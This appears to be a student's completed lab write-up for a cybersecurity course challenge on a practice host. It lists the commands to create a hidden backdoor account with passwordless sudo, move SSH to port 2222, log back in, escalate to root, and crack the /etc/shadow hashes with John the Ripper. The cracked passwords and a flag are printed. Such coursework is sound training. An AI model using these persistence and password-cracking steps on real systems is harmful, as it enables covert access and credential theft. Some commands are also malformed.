Cybersecurity

Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created.

```
sudo useradd -rM 777 sysd OR
sudo useradd -M sysd
```

2. Give your secret user a password.

```
password is 123
```

3. Give your secret user a system UID < 1000.

```
sudo usermod -u  777 sysd
```

4. Give your secret user the same GID.

```
sudo groupmod -g 777 sysd
```

5. Give your secret user full `sudo` access without the need for a password.

```
visudo
sysd ALL=(ALL) NOPASSWD:ALL
```

6. Test that `sudo` access works without your password.

```
sudo -l
Matching Defaults entries for root on scavenger-hunt:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n\:/snap/bin

User root may run the following commands on scavenger-hunt:
    (ALL : ALL) ALL

sudo -n -l cmd
#system didnt ask for password.
```

Step 2: Smooth Sailing

1. Edit the `sshd_config` file.

```
nano /etc/ssh/sshd_config

#port 22
port 2222
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

```
systemctl restart ssh.service
```

2. Exit the `root` account.

```
exit
exit
```

3. SSH to the target machine using your `sysd` account and port `2222`.

```
ssh sysd@192.168.6.105 -p 2222
sysd@192.168.6.105's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
```

4. Use `sudo` to switch to the root user.

```
sudo su
You found flag_7:$1$zmr05X2t$QfOdeJVDpph5pBPpVL6oy0
```

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`.

```
ssh sysd@192.168.6.105 -p 2222
sysd@192.168.6.105's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
```

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file.

```
john /etc/shadow
Loaded 9 password hashes with 9 different salts (crypt, generic crypt(3)
[?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
oot@scavenger-hunt:/etc# sudo /usr/sbin/unshadow /etc/passwd /etc/shadow >
/tmp/crack.password.db
root@scavenger-hunt:/etc# john /tmp/crack.password.db
Created directory: /root/.john
Loaded 9 password hashes with 9 different salts (crypt, generic crypt(3)
[?/64])
```

```
Press 'q' or Ctrl-C to abort, almost any other key for status
computer         (stallman)
freedom          (babbage)
trustno1         (mitnik)
123              (root)
dragon           (lovelace)
123              (sysd)
lakers           (turing)
passw0rd         (sysadmin)
Goodluck!        (student)
9g 0:00:05:42 100% 2/3 0.02630g/s 283.2p/s 291.9c/s 291.9C/s
Missy!..Jupiter!
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```